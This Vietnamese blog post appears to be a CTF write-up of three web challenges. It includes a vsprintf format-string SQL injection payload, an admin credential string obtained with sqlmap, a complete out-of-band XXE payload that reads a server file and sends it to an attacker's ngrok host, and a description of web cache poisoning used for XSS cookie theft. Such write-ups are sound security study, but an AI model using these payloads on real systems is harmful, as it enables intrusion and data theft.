2019/02/16

MatesCTF S3R3 - Web 1,2,3

Đầu xuân khai CTF thay vì khai bug.
  1. UAProf
  2. Web-1
  3. Hackerone (tên bài không nhớ tên)

Bài nào có người làm rồi thì làm trước. 

2. Web-1

Dùng Inspect Tool của browser để thay type từ hidden thành text để hiện ô sửa giá trị hoặc thay value từ 0 thành 1 hoặc dùng javascript-fu ... với hy vọng debug=1 thì có source.

Ví dụ như trên, sau khi click Login sẽ có source code như sau. Một số điểm đáng chú ý theo thứ tự là : sử dụng SQL với input từ post (SQLi?) với filter dùng vsprintf (format string function của PHP). Trước đây thì có một lỗi SQLi trong Wordpress liên quan đến filter này là CVE-2017-14723, có một bài phân tích về lỗi này https://blog.ircmaxell.com/2017/10/disclosure-wordpress-wpdb-sql-injection-technical.html

Đọc xong thì sẽ ta sẽ biết cách khai thác vsprintf để xây dựng được payload tấn công như sau : spoiler: 
$a = filter(" and passwd = %s ", ['%1$c OR 1 = 1 -- -']);
$b = filter("SELECT * FROM users where username = %s $a", [39,'123']);
echo $a."\n";
echo $b;

~~ Update 18/2/2019 : 1 cách làm khác thanks Nguyên Khoa, mình lại nghĩ phức tạp quá rồi :v 

Hí hửng vào submit thì đã có người submit flag rồi :v
Next.
À, sau khi betak ở bài UAProf thì mình thử dùng sqlmap để check xem bài này có đọc được db của UAProf không (register/login) nhưng chỉ có được username + password của simpleweb mà thôi 
admin/e6e061838856bf47e1de730719fb26

1. UAProf

Bài này thử fuzz SQLi đăng kí, đăng nhập nhưng sẽ bị lỗi Input Error và không có vẻ gì là khai thác được.
Fuzz check=1 -> check=2.... và các kiểu khác cũng không có gì có lỗi

Thay useragent có chứa "huawei" bằng burpsuite
Refresh lại trang

Tiếp tục dùng user-agent huawei để dò quét hành vi đối với các endpoint khác.
Betak thật sự, nhưng nhìn lại tên đề thì đó là UAProf :? Flag ở /var/www/huawei/index.php :?
Vậy thì UAProf là gì? Theo wikipedia thì đó là "They are an XML-based file format." "A mobile handset sends a header within an http request, containing the URL to its UAProf. The http header is usually X-WAP-Profile:, but sometimes may look more like 19-Profile:, WAP-Profile: or a number of other similar headers."
Vì đây liên quan đến XML và cần đọc file thì có thể khai thác XXE được.
Để nhanh chóng kiểm chứng thì mình sẽ dùng 1 dịch vụ là dnsbin để lưu lại các truy vấn dns, bởi nếu muốn tạo 1 kết nối tới 1 tên miền thì cần phân giải nó trước


Xác nhận có truy vấn dns. Tiếp theo là xác nhận có bị lỗi XXE hay không bằng các tạo 1 truy vấn dns khác bằng XML. Nhưng bỏ qua đoạn này, mình sẽ craft payload đọc file luôn. Các payload XXE Out-of-band để đọc file (vì không hiện output trực tiếp) có khá nhiều khi tìm kiếm bằng Google search. Bê nguyên 1 cái payload: cần tạo 2 file
payload.dtd
<!ENTITY % payl SYSTEM "php://filter/convert.base64-encode/resource=/var/www/huawei/index.php">

<!ENTITY % intern "<!ENTITY &#37; trick SYSTEM 'http://<something>.ngrok.io/?%payl;'>">

và uaf.xml
<?xml version="1.0"?>
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://<something>.ngrok.io/payload.dtd"> %remote; %intern; %trick; ]>


Trong đó <something>.ngrok.io là tunnel tạo bằng công cụ ngrok để forward traffic từ internet về máy chạy client chạy ngrok.

And....
Decode base64 sẽ ra flag

3. Hackerone

Người tạo challenge này hẳn đã bỏ rất nhiều công sức để challenge này giống thật hết sức có thể +1
Bài này có khá nhiều điểm input, nếu test hết thì không đủ thời gian, và mình thì khá lười. 
Khi sử dụng dirsearch để kiểm tra các thư mục và file khả nghi thì có 
Pattern dễ nhận thấy là cache hoặc .htaccess thì sẽ bị 403 Forbidden
Ngoài ra còn 2 path là /assets và /applications thì bị redirect về port 8008
Bởi vì response không có gì nhiều nên lúc này mình mới chú ý đến X-Status: MISS
Theo cảm tính, thử thay Host header để xem Location redirect về đâu 
Đoán xem :? Có thể là Web Cache Poisoning chăng khi mà ứng dụng có cache (X-Status), pattern cache bị 403, và quan trọng hơn là reflect input (liên quan file javascript được import từ 1 domain => thực thi được javascript ) + cookie Auth chứa username, password decode từ base64 => XSS?. Nhưng mà reflect ở redirect thì chưa đủ.
Tiếp tục tìm kiếm các vị trí có reflect từ host thì có

Và có vẻ như phần này ở trong 1 file dạng header.php nên trang nào cũng có include :?
Nhưng mà kết quả refresh thì luôn là X-Status : MISS, tại thời điểm viết writeup thì khi GET / đã có hit với host cached, còn tại thời điểm làm thì không được (3h). Lúc này do bận việc nên chuyển hướng sang 1 trang khác đơn giản hơn, có cache header là "X-Status: HIT" bằng cách search trong burpsuite, vì burp log lại hầu hết mọi thứ nên kết quả là có trang about.php

Fuzzing time:
Sau khi replay lại nhiều lần vẫn MISS   (Date 07:50:01)
 Thì request đã được cached : Status : HIT (Date 07:50:03)
Lúc này đổi lại Host ban đầu để kiểm tra cache  (Date 07:50:14)


Trở lại cách hoạt động của trang hackerone này
User sẽ submit report tới program, nhưng với các scope được định nghĩa sẵn. Nếu url không phù hợp thì sẽ là Out-of-scope. MatesCTF program thì cần URL match với http://125.235.240.167:8080/ Dự đoán là admin (bot) sẽ vào check. Khi đó, XSS sẽ được thực thi. Có 2 tùy chọn : tạo vps để listen trên port 8080 hoặc tiếp tục dùng ngrok tunnel (dùng các dấu # ? để bypass port :8080 thêm vào cuối)
Ví dụ về file script.js
Location không dùng được với bot (bot tải script.js nhưng không redirect) => Dùng new Image để tạo request chứa cookie 


No comments:

Post a Comment